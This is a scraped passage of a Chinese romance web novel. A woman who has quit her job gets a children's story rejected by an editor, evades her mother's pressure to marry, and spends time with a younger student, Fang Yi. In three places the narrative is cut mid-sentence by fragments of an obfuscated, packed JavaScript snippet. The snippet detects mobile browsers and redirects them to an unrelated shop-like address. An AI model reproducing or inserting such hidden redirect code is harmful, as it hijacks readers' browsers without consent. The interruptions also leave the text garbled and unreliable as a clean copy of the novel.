一个忙得昼夜不分,一个醉到天昏地暗,漏洞百出的理由,戏剧性地在同一个电梯厢内上演,毫无说服力,但谁也没追究。 何漆仰头扭了扭脖子,不知道眼下的沉默到底是信任还是懒得多问。 电梯门打开,何漆虚扶着陈津进家门,她觉得陈津这股柔弱劲是不是有点过了?他是在公司里通宵工作,又不是像她一样在外面喝酒。 她腹诽着,在玄关处刚脱了鞋,陈津就忽然闭着眼朝她倒过来。 何漆惊呼一声,背抵在后面的柜子上,身前被陈津结实的身体不留空隙地压住,压到难以呼吸。 距离很近,因此闻到男人身上的味道确实很干净,他不喷香水,领口处便只有淡淡的洗衣液气息。 何漆不得不抬手拍打陈津的背:“你干嘛?我要喘不上气了。” “太困了。”陈津说,音量轻到刚好只够耳语,“下次出去喝酒跟我说一声?” 胸腔的震动传递到何漆身上,她缓慢眨了一次眼,应下:“知道,我先扶你去睡觉。” 两人虽然同居,但分房睡,各自都认为需要独立的空间,所以家里共有两间主卧。 何漆把人带进卧室,陈津扑在床上,兴许真是累坏了,连衣服都不想换,只解开衬衣的几粒纽扣。 何漆坐在他床边,扭过上半身看他拧着眉头的睡颜,忽然开口:“最近闲着没事,我打算试试写作。” 陈津含糊地“嗯”了一声,即便困到极点还是回应:“我父母应该有认识的编辑,我叫他们帮忙联系。” 何漆听完忍俊不禁,心说李家佳在这事儿上倒和她姐夫想到一块了,也不管她到底水平如何,先找人打通关系。 她嘴角染了点笑意,见陈津双眼阖着,呼吸渐渐平稳,也没多做解释,留下一句“你别着急麻烦叔叔阿姨,我自己先琢磨琢磨”,很快便轻手轻脚地出了房间。 走过客厅转进书房,何漆坐在椅子上,打开电脑新建了一个空白的文档。 还没来得及打下半个字,手机就收到条消息。 她点开一看,是方翊发来的“姐姐早上好”。 何漆抬手碰了碰额头,言简意赅地回复了一句“早”,随后将手机调成震动模式,倒扣在桌面上。 距离征文的截稿日期只剩下不到十五个小时,何漆脱离校园已久,每年除了工作上的述职报告和年度总结,再加上偶尔有感而发的朋友圈,几乎就没再写过任何东西。 让她在这十五个小时里写出一篇儿童文学作品来,无异于痴人说梦。 但既然决定好了目标,无论结果如何都该行动起来。 何漆一边思索,一边在文档上列出自己的想法。 第一,既然以“猫”为主题,那么故事的主人公便直接设定为猫。 第二,儿童文学,先简单粗暴地理解为童书、童话,目标人群为儿童,那就需要浅显的道理,简介的语言。 第三,作为童话,将冒险设为主题总不会出错,毕竟白雪公主都得在森林里受一番惊吓,然后遇到七个小矮人。 于是,一个以动物世界为背景的小猫冒险故事便成了何漆这几个小时的任务。 有了大致方向,再一点点从细微处入手,梳理起主角小猫的身份背景、性格人设,遇到了什么危机,解决的途径,与伙伴的相处…… 何漆渐入佳境,十二分的专注力都投入其中,一点点将故事顺下来,然后措辞取字,把想法变成看得见的语句。 大约四个小时后,她一气呵成地写完了两千多字的小小说。 看着满满当当的文档,何漆自己都觉得有些不可思议,内心某处仿佛被极大地满足,整个人处在一种难言的兴奋之中。 她耐着性子将这篇文章从头到尾完整地读了两遍,修改几处不通顺的地方,随后将文档名按照征文要求中的格式改好,保存后发至自己的微信。 做完这一切,何漆瘫在旋转椅上,踮着脚转了一圈,仰头长长吐出一口气,看看时间,才发现已经下午两点多了。 一上午滴水未进,在松懈下来后本能地感到饥饿,甚至胃都有点隐隐作痛。 何漆抿唇盯着那文档,完成的喜悦过去后,剩下的就是未知的不安,毕竟她没有自视甚高到觉得能够一鸣惊人。 这是一个无比俗套的故事,但俗套也代表着安全,几番内心挣扎后,她还是选择直接在电脑上将文档发至李秀兰的微信。 按下回车键,尘埃落定。 何漆合上电脑,拿起手机,决心将此事放一放,先出去觅食。 大步走出书房,在客厅里朝陈津的卧室望去一眼,才发现他原来已经醒了。 陈津刚在浴室里洗过澡,围了条浴巾就出来,上半身完□□着,也没关房门,精壮的背部□□地落在何漆眼里。 何漆方眯了眯眼,陈津就恰巧转过身来,手里还拿着要换上的衬衣,与客厅里双手抱胸目带审视的女人直直撞上视线。 陈津稍稍一愣,自然地将手臂垂落到身侧,白花花的光景无所遮拦,他问:“吃过中饭了吗?” 何漆摇头:“在做事,忘吃了,你刚睡醒?” 陈津“嗯”了一声,将衬衣套到身上,一粒一粒系起纽扣,速度很慢:“一起出去吃吧,吃完我还得回公司。” “我在外面等你。”说完,何漆走离客厅,消失在卧室门可以看到的视野里。 小区地库,那辆遭啤酒肚男同事嫉妒的卡宴启动,何漆在副驾系上安全带,打开好几个小时没碰的手机,看到了方翊发来的未读消息。 中午十二点,方翊曾问她“姐姐,你吃午饭了吗?” 其实先前也看到了,只是防止思路被打断,何漆故意没回,眼下正好有空。 「抱歉中午在忙,现在正要出去吃饭。」 她刚放下手机,奈何对面又是近乎秒回。 「忙到现在吗?好辛苦!」 「姐姐你一个人出去吃饭吗,还是和家佳姐一起?」 车载音乐没开,手机“嗡嗡”的震动声在密闭的空间里格外清晰,车子开出小区,路口处的红灯还有五秒,陈津斜着眼瞥向低头回消息的何漆,随口问:“在和谁聊天?” “李家佳表弟。” 「不是,和我男朋友。」 话落,又是一声震动。 「这样啊,那姐姐你快去吃饭吧,不要饿坏身体。」 何漆轻飘飘地扫过一眼,光从文字也很难看出对方的态度,于是没有回复,关了手机,抬头,绿灯亮起。 - 这一顿饭吃得不算久,何漆被送回小区时三点刚过。 车子停在单元楼外,陈津伸手替她解开保险带,提前报备:“晚上不一定回来,忙不过来的话还是睡公司。” 何漆淡淡应了一声,打开车门,只身走进单元楼。 电梯上行,电话铃突然响起,何漆拿起手机看到备注,心里“咯噔”一声。 退出去看了看日历软件,确定今天是周五,工作日,下午三点,照常来说还在上班。 她犹豫了有一会儿,最终还是选择接听,把手机放在耳边:“喂,妈。” 徐燕的声音并不年轻,并在此刻显出一种小心翼翼来:“嗯,漆漆啊,还在上班呢吧?” 何漆没有将自己已经辞职的消息告诉父母,因为她完全可以想象自己如果爆出实情后他们的怒火。 于是她含糊地反问:“什么事?” 徐燕讪笑一声:“也没什么事儿,不是快到十月放国庆了,想问问你应该回来吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059429|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >与此同时,电梯门打开,何漆缓步走出去,开门前将通话调成静音,防止指纹锁解开时发出的声响被电话那头的人听见。 直到进屋,在玄关处换了鞋,徐燕的话刚好问完,她把静音解除:“会回来的。” 徐燕拖长语调“哦”了一声,又问:“那陈津呢,他和你一起来吗?” 何漆皱眉,走到客厅沙发边上坐下:“他最近工作很忙,放不放假都说不准,再说他爸妈都在本地,去我们那儿干什么。” “话又不是这样说的。”徐燕不满,“你们俩从大学到现在,谈了有七年了,他放假跟你回趟家怎么了?你们以后结婚他肯定也是要来看望岳父岳母的,漆漆真的,你要听妈妈的话,早点把婚结了,这样拖下去像什么样子……” 何漆默默将手机拿远了些。 这几年都是这样,徐燕像是着了魔,只要能和何漆说上话,不管开头聊的是天南海北的话题,最后都要落回“结婚”上,无一例外。 不过要追溯这场催婚最开始的源头,还是何漆快二十二岁那年,面对父母对婚姻计划的询问,她年少无知、心高气傲,三番五次地向家里表明自己是个不婚主义者,这辈子都不会结婚。 听到这种大逆不道的话,徐燕勃然大怒,痛斥她是个异类、不正常的人,被那些坏思想毒害了,何漆与她据理力争,最终演变为互相咒骂,两败俱伤,险些断绝母女关系。 何漆那段时间临近毕业答辩,学业和家庭的双重压力下,她整个人的状态都不对,李家佳又在国外,没法长时间陪着她,于是陈津成了她唯一的情感支柱。 她一向很少向身边人诉苦,但那回却在陈津怀里哭到碱中毒,她至今都还记得当时陈津是怎么开导她的,他一边给她擦眼泪,轻抚背,一边在她耳边缓缓说: “何漆,别太犟,很多时候,特别是这种感情上的事,活得太清楚反而不好,觉得痛苦又无法改变的时候还不如糊弄着过。” “你先顺着叔叔阿姨的意思讲些好话,真问起来再找理由拖延,等多过几年,说不定他们观念会有变化,你要是应付不过来还有我,我是在你这边的。” 从拥有自主意识的学生时代开始,何漆就是一个十分较真、不愿也不屑糊弄的人。 每一次的课业都用认真的态度对待,跟不喜欢的人不想多说一句话,阳奉阴违对她来说更是种折磨。 但唯独这一次,她听了陈津的话。 她开始对父母说自己也没有那么不愿意结婚,只是还不是时候,等他们感情再稳定一点、工作有了着落之后再说。 开始工作后又推说等工作稳定,工作稳定了又讲工作太忙…… 总之道高一尺,魔高一丈,何漆就这样糊弄了许多年,拉锯战的战线一直延伸到现在。 从最开始的恶语相向,满含怨恨地向对方插刀子,到现在的逃避拖延,一看到父母的电话就心烦。 日子好过了很多,却也不会太好过。 “漆漆你听到没有?像陈津这样的男人你还要到哪里去找?还是要早点结婚心里才有底……”电话那头竟还在滔滔不绝着。 何漆拿出已经练得炉火纯青的糊弄技术:“我知道了,再问问他吧,有时间就来,我这儿还有工作,先挂了妈。” 说完也没立刻挂断,直到听见徐燕失落地说了声“好吧,那你上点心,不打扰你了”,她才按下挂断键。 手机扔在沙发上,何漆瘫倒下去,手指用力搓了搓眉骨,郁闷地叹出口气。 半天的好心情瞬间灰飞烟灭,做什么都提不起兴趣,最后早早地洗漱完,躺到床上,搜了本儿童文学杂志阅读起来。 岂料越看越心慌,越读越对自己早上写的那篇东西没底,最终自暴自弃地吃了粒含有褪黑素的软糖,早早关灯睡下。 因为前一晚睡得早,第二天清晨六点多便自然苏醒。 一起床心里就有股莫名的不安,洗漱时还眼皮直跳,她换好衣服后发现陈津昨晚依旧没回家,带着强烈的心慌下楼,在小区公园里做了一会儿锻炼。 八点钟,她带着早饭重新上楼,电梯里的失重感让内心好不容易忘却的慌张又升腾起来。 进门,把早餐放在餐桌上,何漆口袋里的手机响起一道提示音。 5. 第 5 章 心脏像是被吓到般重重跳了两拍,何漆自己也觉得怪,从口袋里翻出手机,发现竟然是李秀兰发来的微信。 她整个人动作一顿,缓缓坐到椅子上。 手机的面容解锁已自动打开,导航栏里的微信标着红点,何漆却迟迟不敢点。 这个时候李秀兰给她发消息,多半是昨天那篇文章的事儿,越想心里越慌,何漆一咬牙,直接点了进去。 三条消息冷冰冰地摆在聊天框里。 「刚刚花了三分钟看了你的文章,很失望。」 「我并不理解你为什么要选择儿童文学的题材进行创作,因为从你的文章里可见,你根本不懂什么是儿童文学。」 「不论是什么理由你都不用向我解释,你是李家佳的朋友,微信我就不删了,不必再向我投稿。」 何漆的目光钉在手机屏幕上,脖子和脸在烧。 看着这些不留余地的批评语句,她感到一种久违的羞耻,像初高中时作为好学生却被老师当众指责的心情。 比被领导责骂难受许多,大概是因为对方是李家佳的姑姑,也因为自认在写作一事上有些天赋。 但李家佳早有提醒,她这位姑姑脾气很怪,而何漆自己,确实是新手上路,犯了错。 所幸她已经不是十五六岁的小姑娘,这样的几句话还不至于让她一蹶不振,她调整好情绪,在聊天框打下“抱歉,麻烦您了李老师”,最后又看了一遍李秀兰留给她的消息。 对面似乎没有要再回复的意思,何漆关了手机,略显落寞地吃完了早餐。 - 一上午过得有些气不顺,正好是周六,何漆便给张心怡发消息,问她有没有空出来,自己请她吃顿饭。 张心怡答应了,但又说下午有别的安排,恐怕吃完饭就得走,没法多陪她。 何漆说没问题,反正她只是想出门透透气,换个心情。 吃饭的地儿定在了一家档次还算高的海鲜火锅店,服务员递来两份菜单。 张心怡大致扫了一眼,看到海鲜类菜品的价格,差点两眼发直,犹犹豫豫只点了小份量的蔬菜和肉类。 今天是何漆请客,她看出张心怡不想让她破费的顾虑,自己大手一挥,叫了好几份价格不低的海鲜。 张心怡在对面听着何漆一连串贯口似的报菜名,好几次欲言又止。 何漆则在爽快地点完菜后冲她眨眼:“你安心吃,反正我点得不少,吃不完才是浪费钱。” 这两天降温降得厉害,正是吃火锅的好时候,两个人吃得浑身热烘烘的,把外套都脱下。 桌边的服务员正用刀叉娴熟地给她们剥虾。 “最近工作还忙吗?”何漆问。 一提工作,张心怡整个人像是蔫了,苦哈哈地嚼着菜叶:“忙啊,早上桃姐跟我说有个展台出了问题,让我尽早去看看,我吃完饭就得过去想办法呢。” 何漆闻言表示同情地点头:“辛苦你了,中午正好多吃点。” “漆姐你呢?”张心怡羡慕地看向她,“辞职后是不是感觉很轻松。” 轻松?如果不去自讨苦吃的话,应该会很轻松吧?何漆想。 她回忆起早上的插曲,神色不由落下来,自嘲似的挑了挑眉:“还行吧,总归比上班的时候轻松点。” 两人边吃边聊,不知不觉间近一个小时过去,桌上的菜被消灭得干干净净,张心怡捧着肚子像是撑得不行,何漆好笑地弯了弯眼,起身去结账。 何漆在前台买单,张心怡重新穿上外套,一副坐立难安的样子拎包站在一旁,心里大致计算了一下那些海鲜的价格,恐怕快赶上她一个月的工资! “别心疼。”何漆看出她的心思,微笑着转过头来,“花我男朋友的钱,给他放放血。” 张心怡还是不好意思:“你男朋友的钱不也是你的钱。” 何漆同她讲起歪理:“男朋友的钱不是钱,老公的钱才会让人舍不得花。” “这么说还是不结婚比较好?”张心怡接茬。 何漆恰好付完钱,转身对她打了个响指:“聪明。” 两人乐作一团,又是一通瞎聊。 在门口的沙发上等了片刻功夫,张心怡打的车就到了,何漆目送她离开,然而还是不怎么想回家,出店后就在街上随意逛着,最后进了一家咖啡馆。 店里生意较冷清,她挑了个靠窗的位置,点了杯热拿铁,静静地放空。 过了好一会儿,手机突然响了一声。 何漆回过神,发现竟然是方翊发来的消息。 「姐姐,你是在咖啡店吗?」 她疑惑,抬头环视了一圈,最终朝窗外看去,一个穿着黑色皮夹克的男生正在不远处探头探脑地往窗户里瞧。 两人四目相对,都认出了彼此。 方翊像是惊喜地笑了起来,冲她挥挥手,小跑着进了咖啡店。 何漆也没料到会这么巧,见方翊推门进来才缓缓想通:“你在附近的同大读书?” “是啊。”方翊自然地在何漆对面落了座,“今天周末,我刚在外面吃完饭,没想到会碰见姐姐你。” 确实太巧,何漆指了指点单台的位置:“那请你喝杯咖啡吧,谢谢上次在酒吧的帮忙。” 方翊没同她客气,爽快答应,点了杯海盐焦糖拿铁,重新坐回来时问:“姐姐,你怎么在这儿?” “也是跟人出来吃饭。” 方翊把嘴张圆“哦”了一声,眼珠低低地转了转,像是在思索什么,最后略显小心地抬眼看向她:“是和家佳姐还是……姐姐的男朋友?” 何漆一向不喜欢不熟的人对他有所打听,但对方的神情实在心虚,像把心思都写在了脸上,她觉得好笑,便如实回答:“都不是,其他朋友。” 方翊点点头,止住这个话题。 咖啡上得有点慢,两人之间的氛围沉寂了片刻,但方翊显然不是那种容易感到尴尬的男生,找起话题也算得心应手。 他问:“我刚刚在外面看,姐姐你好像心情不太好的样子?” 话落,何漆诧异地看过去。 其实她是天生脸臭,放空或者不做表情时就会显得不高兴,以前也常常被人莫名地询问“是不是心情不好”。 虽然大多数时候都是旁人的误解,不得不回以一个微笑进行解释,但很巧,今天的何漆确实有点失落。 她淡淡收回视线,转而盯起眼前咖啡杯里的液面,原本想说“没事”,但话到嘴边硬是鬼使神差地转了个弯:“有点吧。” 方翊关切问她怎么了。 何漆垂着眼,语气坦然:“头一次给出版社投稿,被编辑不留情地拒了。” 话出口,方翊还没反应,她自己倒先无声地笑了一下。 这感觉……怎么说呢? 投稿被拒而已,还是第一次、只用几个小时写出来的文章,能被征用才该烧高香,听起来不过是一件从一开始就不该抱有期望的事。 可何漆就是为这点小事失落了一上午,还找不着人说。 要是告诉陈津、李家佳、张心怡,多半会收获一句“没事儿,第一次,再接再厉”的安慰,其中李家佳可能激进些,骂着喊着要去找李秀兰讨说法。 这些安慰绝对出自真心,但就是因为过于诚挚,反而会让她二次回味那种难言的低落。 细小到无关紧要的伤口,何漆不想展露给亲近的人,此刻向不相熟的方翊吐诉,打算听到一句轻飘飘的宽慰后赶紧翻篇。 岂料方翊眨眨眼,认真地问:“那编辑不会是李阿姨吧?” 海盐焦糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059430|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿铁在这时端上来,醇厚的香气弥漫,他见何漆愣住,补充:“就是李乐一的妈妈。” “你怎么知道?”何漆反问。 方翊这就知道自己猜中了,神色隐隐得意: “李阿姨确实有点难相处,就连跟他们出版社已经签约的作者都会被她狠批的。” “我高中的时候去找李乐一玩,装得再乖也逃不过和李乐一一起挨训,好几次都快给我说自闭了!” 他说完,像是不愿再回想,表情很衰地端起咖啡。 何漆意外找到一个受害者盟友,听到对方和自己相似的经历,心情竟顿时变得明朗起来。 她不自觉笑着,看方翊低头喝了口咖啡,上唇沾到了奶泡,伸手指了指,无声提醒。 方翊一下子没意识到,一双眼睛疑惑又无措地盯着何漆,以为自己怎么了。 何漆便抽了两张桌子上的纸巾递过去:“嘴巴,脏了。” 方翊反应过来,连忙低头用纸擦干净。 见找到共同话题,方翊一时开了话匣,讲了不少与李乐一以及他母亲相处时的事,他说话很有意思,何漆常被他猝不及防地逗笑,听得入迷,连时间流逝都没察觉。 直到她慢悠悠地喝完了一整杯咖啡,才想起看时间,发现竟已经过去了一个小时。 正好上个话题结束,何漆对他笑道:“谢谢你,我心情好多了。” 方翊受宠若惊:“喝了姐姐的咖啡,当然要帮你排忧解难。不过姐姐你千万别放弃,相处久了就会发现李阿姨只是嘴巴比较毒,人还是挺好的。” 何漆点头:“嗯,我不会放弃。” 似乎是看出何漆要走,方翊抓紧时间再次开口:“姐姐,你跟家佳姐是同学,那就也是宁市人?” 何漆说“是”,又想起他是李乐一的高中同学,发觉他俩也能算同乡。 方翊果然又道:“那姐姐国庆会回宁市吗?” “回去,你呢?” “我也回去。”方翊笑道,“宁市小,说不定还能碰上姐姐。” 何漆淡笑着附和了一句,终于说要走,起身去买了单。 方翊没挽留,在座位上礼貌地冲她挥手再见。 - 回到家后也没什么事儿做,但起码心情好了不少,何漆便窝在沙发里把昨晚的儿童文学杂志接着看下去,看累了再打开电视追个剧。 七点半左右,大门开了,何漆听到动静就知道是陈津,依旧躺在沙发上没动,不咸不淡地问他吃过饭没。 陈津边脱西装外套边走进屋子,随手把衣服放在沙发的扶手上,走到何漆眼前,挡住了她的大半视线。 何漆不得不抬眼看他,男人神色确实疲惫,恐怕好几天没睡过舒服的长觉。 她想让陈津早点去洗漱休息,还没来得及张口,他的身子就俯下来,精准地吻住她。 陈津的皮肤比何漆的凉,兴许在外面吹过风。 两人接了一个短暂的吻,陈津微微直起点身子,声音低哑:“最近太忙,国庆给团队多放了一天假,我陪你回宁市?” 何漆拒绝:“不用了,家佳开车载我回去,你在家好好休息吧,肯定还要居家办公,反正我回家也待不了几天。” 陈津盯着何漆的眼睛看了两秒,没说什么,垂眸重新吻上去。 越吻越深,越吻越重,唇舌交缠,呼吸急促,何漆意识到什么,扭开头喘了口气,手摸索到遥控器把电视剧暂停,又轻声问陈津:“你不累吗?” “睡觉还太早。”说完,陈津的手朝她的睡衣下摆伸去。 何漆整个人开始烫,抬腿用膝盖推了一下他,提醒:“套在房间里。” 陈津闻言伸手把何漆抱起来。 “那就回我房间吧,沙发收拾起来麻烦。” 6. 第 6 章 十月转眼就到了,国庆当天,何漆约好和李家佳一起回宁市。 她这几日在家里天天睡到自然醒,生物钟往后推迟了不少,此刻洗漱完收拾好自己,边打哈欠边走出卧室。 陈津穿着睡衣坐在客厅里,桌上放着电脑似乎在工作,也不知道醒了多久。 “买了早餐。”他随手指向茶几上的一个包装袋,连头都没抬。 何漆慢悠悠地走过去,打开包装袋,看到里面有碗馄炖,两三块红枣发糕,还有油条豆浆。 份量太多,不像是一个人的,于是她回头问:“你吃过了吗?” 陈津说吃过了。 何漆点头,伸出手指勾上袋子:“那我拿去车上跟家佳一起吃。” 陈津没异议,等何漆转身重新路过自己身边时忽然叫住她,把桌上提前准备好的一张银行卡推过去:“卡里有十万,替我给你爸妈。” 何漆拎着早餐,拒绝得很干脆:“不要。” 她固定每隔一段时间就会给父母一笔钱,金额不算少,陈津这些年也没少给她家里钱,她爸又还没到退休的年纪,每个月在公司都有工资领,老两口生活上绝对不会差钱,说不定在银行里还存着不少,这是其一。 其二,她现在要是真拿着这十万块钱交到她父母手里,给出去的就不是钱,而是一个绝佳的催婚动机,她这趟回家的战略方针就是尽量降低陈津的存在感,以此最大程度避免被催婚折磨。 因此,这钱绝对不能要。 陈津闻言没强求,转而道:“那你拿着花。” 何漆却已经走到玄关处,穿好鞋,提起门口处装了三四套衣服的小行李包,随口道:“花着你的钱呢。” 紧接着,门轻轻一开一合,屋子里就只剩下陈津一人。 - 李家佳依旧开着她那辆招摇的粉色宝马来接人,何漆坐在副驾,打开早餐的包装袋,微微开了点窗通风,问她想吃什么。 李家佳趁红绿灯抽空瞥了一眼,说红枣糕,何漆应好,小心地隔着塑料袋把发糕掰成刚好入口的大小,伸手喂给她。 从江市到宁市开车大约三个小时的路程,赶上国庆,路上更堵一些。 两人左右坐着,和上高中时的晚自习没差,话题根本没法停,李家佳兴致勃勃地跟她讲天南海北的八卦,何漆在一边大惊小怪地捧场。 四个小时像水一样流过,一大袋早餐也被她们当零嘴似的慢吞吞吃了个干净。 何漆父母家是老小区,治安宽松,往来车辆不需要做什么登记,李家佳直接把车开进去,送何漆到家楼下,对她说:“我爸妈也等着,就不去跟叔叔阿姨打招呼了,明天叫你出来吃饭。” 何漆点头:“路上小心,明天见。” 进了单元楼,拎着行李走到第三层,右侧那户整个楼道里唯一装了指纹锁的就是她父母家。 何漆印上指纹,刚打开门,饭菜的香味就飘至鼻尖。 徐燕恰巧从厨房里端着两碗菜出来,看到进门的何漆,欣喜道:“漆漆!来得正好!我刚把菜烧好!” 在客厅里看手机的何云平听到动静也起身,招呼道:“漆漆回来了?” 就连扫地机器人都像是有感应似的跟到玄关处,转了个圈,又慢慢爬走了。 何漆应了声,把行李包拿到自己房间里放下,然后出来洗手吃饭。 回家的头一天总是最好过的,亲人久别重逢,说话做事谨慎热情,把握着分寸,绝不提起会让对方生气的事儿,毕竟谁也不想刚见面就触霉头,总觉得不吉利。 但过了第一天,后面的日子就不好说了。 何漆拢共只打算在家里待三四天,时间紧迫,她父母必然要在此期间提起他们最关心的事儿,最好还能仔细聊聊,全方位地说服这个在婚恋观念上离经叛道的女儿。 何漆精准把握了他们的心思,第二天索性睡到日上三竿,不给他们找自己谈心的机会,午饭前才出房门,说自己要跟李家佳出去吃饭。 徐燕听完,问:“那晚饭呢?晚饭回来吃吧?妈妈特意买了好多你爱吃的菜。” 何漆闻言只能答应下来。 她和李家佳约在附近的一家商场里吃寿喜烧,吃完又在商场里逛着消食。 等逛得差不多了,想找个甜品店坐一会儿,李家佳忽然收到条消息。 她拿出手机,边看边对何漆道:“李乐一说他在台球厅打球,就这个商场边上新开的那个,问我要不要去找他玩,你想去吗?” 何漆耸肩:“我都行,你表弟也回来了?” “对啊,他妈管他挺严的,不能不回。”李家佳收起手机,下了决定,“那就过去看看吧。” 这家台球俱乐部环境确实不错,里头的装修是很高级的灰白色调,灯光开得亮,走进去还有股淡淡的香味。 前台礼貌地跟两人打招呼,李家佳说她们来找人,李乐一眼尖地看到她们,兴奋地挥手:“表姐!这儿!” 李乐一那帮人选了较角落的位置,远远看过去有六七个扎堆的年轻男女,估计都是同学。 “过去看一眼,要是尴尬我们就先溜。”李家佳没想到会有这么多人,在何漆耳边轻声安慰。 何漆淡笑说“好”,被李家佳挽着手臂牵了过去。 何漆是头一回见李乐一,李乐一却在自家表姐嘴里听了好几年的何漆,这次总算见到真人,热情地迎上来喊道:“表姐,何漆姐。” 李家佳恨恨地在李乐一胳膊上拍了一掌,小声骂道:“你要死啊,没跟我说有这么多人。” 李乐一吃痛地摸了摸胳膊,辩解:“没事的姐,都是我朋友,我们开了四张桌呢,够玩。” 李家佳原本还想再骂,不料后方突然传来一道清亮的男声:“姐姐。” 几人全都诧异地看过去。 视线越过李乐一的脑袋,何漆看见正前方拿着台球杆的方翊,他单手插兜,两眼亮晶晶的,含着藏不住的笑意。 李乐一有点懵:“你喊谁姐姐呢?” 何漆清楚是在喊她,轻咳了一声,不得不回话:“方翊,你也在啊。” 话落,整片区域陷入了一秒的沉默。 李乐一倏地把头扭回来,李家佳则以一脸“什么情况”的表情看向何漆,在场不少人的目光在他们之间来回移动。 李乐一又问:“你俩,认识?” 方翊主动回答:“在江市遇见的,家佳姐也在。” 李家佳摸了摸下巴,没说什么,只可疑地将视线转移到方翊身上。 李乐一见这情形大脑开始飞速运转,看看方翊,看看何漆,再看看李家佳,最后仿佛领悟了什么,以为自己是这世界上最懂兄弟的人,一把拽住李家佳的胳膊,扭头朝方翊投去坚毅的一眼:“姐,你跟我去那边打。” 李家佳猝不及防,被拽得一个踉跄,反应过来后直接往李乐一脑袋后面招呼:“你要死啊!” 李乐一为了兄弟,一声不吭地忍了,还不忘回头再给方翊一个坚毅的眼神。 方翊淡淡回视他,挑了挑眉。 李家两姐弟一走,这张台球桌边上就只剩下何漆和方翊两人。 方翊自然地将自己手里的台球杆递给何漆:“姐姐,那我们两个一起打吧。” 何漆不想接,双手交叠在身前,略拘谨地向四周环视:“抱歉,我不太会打台球,不然还是让你朋友跟你打吧?” “没有别人了。”方翊可怜地垂头看她,解释,“大家都两个两个匹配好了,原本是我和李乐一打,但他现在要跟家佳姐打,如果姐姐你不愿意跟我打,我也没人能玩了。” 何漆抿着唇看了一圈,发现确实每张桌边都有两人,数量正好,没有多余。 “好吧。”她接过方翊手里的杆子,再次提醒,“但我真的没怎么打过。” 方翊见她答应,立刻展露笑颜,给自己重新选了根顺手的台球杆:“没事,本来就是玩玩而已。” 他利落地将上一局打进球袋里的台球重新摆至桌面,用三角框规整好,摆好白球,问何漆:“姐姐,规则你知道吗?” 何漆点头:“知道个大概,你先吧,我开不好球。” 方翊应好,俯身在台球桌前,杆子瞄准白球。 他打球的姿势极漂亮,左手自然弯曲着搭在桌面上,修长的手指架起手架,右手拿杆,小臂垂直着,肌肉隐隐绷紧,肩膀打得很开,整个人像张已经拉满的大弓。 “哒。” 杆头精准地打向白球,力道偏重。 “哒。” 白球往前冲去,将形成倒三角的球阵撞得四散。 “哒。” 有颗双色球落进了球袋,沿着回球通道一路滚到最后。 按照规则,进球方可以继续击球,方翊看了眼桌面上的形势,换了个位置,继续用白球击打双色球,但这次差一点力道,台球在袋口一段距离的地方停了下来。 轮到何漆了,她向方翊确认:“我是打单色球?” 方翊说:“对。” 何漆看了一圈桌上的球,找到一颗几乎与白球和袋口形成一条直线的单色球,路线清晰,是最好打的一颗。 她调整站位,在合适的角度站定,缓缓俯身,把球杆架起来。 试着动了动,却发现有点用不上劲,觉得大概是姿势出了问题,抬头问:“我这样对吗?好像有点打不出去。” 方翊走近些,端详片刻,建议道:“姐姐,你把右肩提起来一点。” 何漆照做:“这样?” “对。”方翊说,“还有右手的位置,可能握杆太靠后了。” 何漆一手紧把着台球杆,姿势别扭,实在不容易把手往前挪。 方翊再走近一步,抬手握住她的球杆:“我帮你拿着,你调整吧。” 他靠得其实不算太近,两人之间还有一步多的空隙,但显然已经超过了社交安全距离。 何漆火速将手调整到合适的位置:“好了,谢谢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059431|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方翊默默退到一边:“不用客气。” 一切就绪,何漆全神贯注地盯着那三点一线,果断出手,将杆一推,又是三道清脆的声响,单色球完美入袋。 方翊在一旁真诚地捧场:“哇,可以啊姐姐。” 何漆清楚自己几斤几两,对方翊的奉承一笑而过,紧接着调整方位,再打一杆,不过这杆没进。 虽然一开始不太想玩,但真打起来何漆也十分投入。 她隐隐能感觉到方翊是在迁就着她打——她进球方翊就跟着进一个,她一直不进方翊就给她做人情球,把白球推到合适打单色球的位置。 这样看来方翊的水平大概不低,能随心所欲地控制白球经过各种路线去到他想要的地方。 因此打过大半局,两人进球的数量几乎持平。 虽然是被让着的,但何漆体验感着实不错,毕竟方翊让球让得不动声色,她进球也有成就感。 还剩下小半场残局的时候,李家两姐弟也刚打完一场,纷纷跑到他们这边来凑热闹。 李乐一靠近一看,瞪大眼惊讶道:“何漆姐你这么厉害吗?竟然能跟方翊打成平手!他打台球在我们这儿没输过的!” 何漆心里一惊,实在汗颜,心虚地笑了笑,没说话。 自家姐妹到底会不会打球李家佳还是清楚的,因此也没说话。 反倒是方翊看了李乐一一眼,在球桌上进了个球,轻笑道:“嗯,姐姐挺有天赋的。” 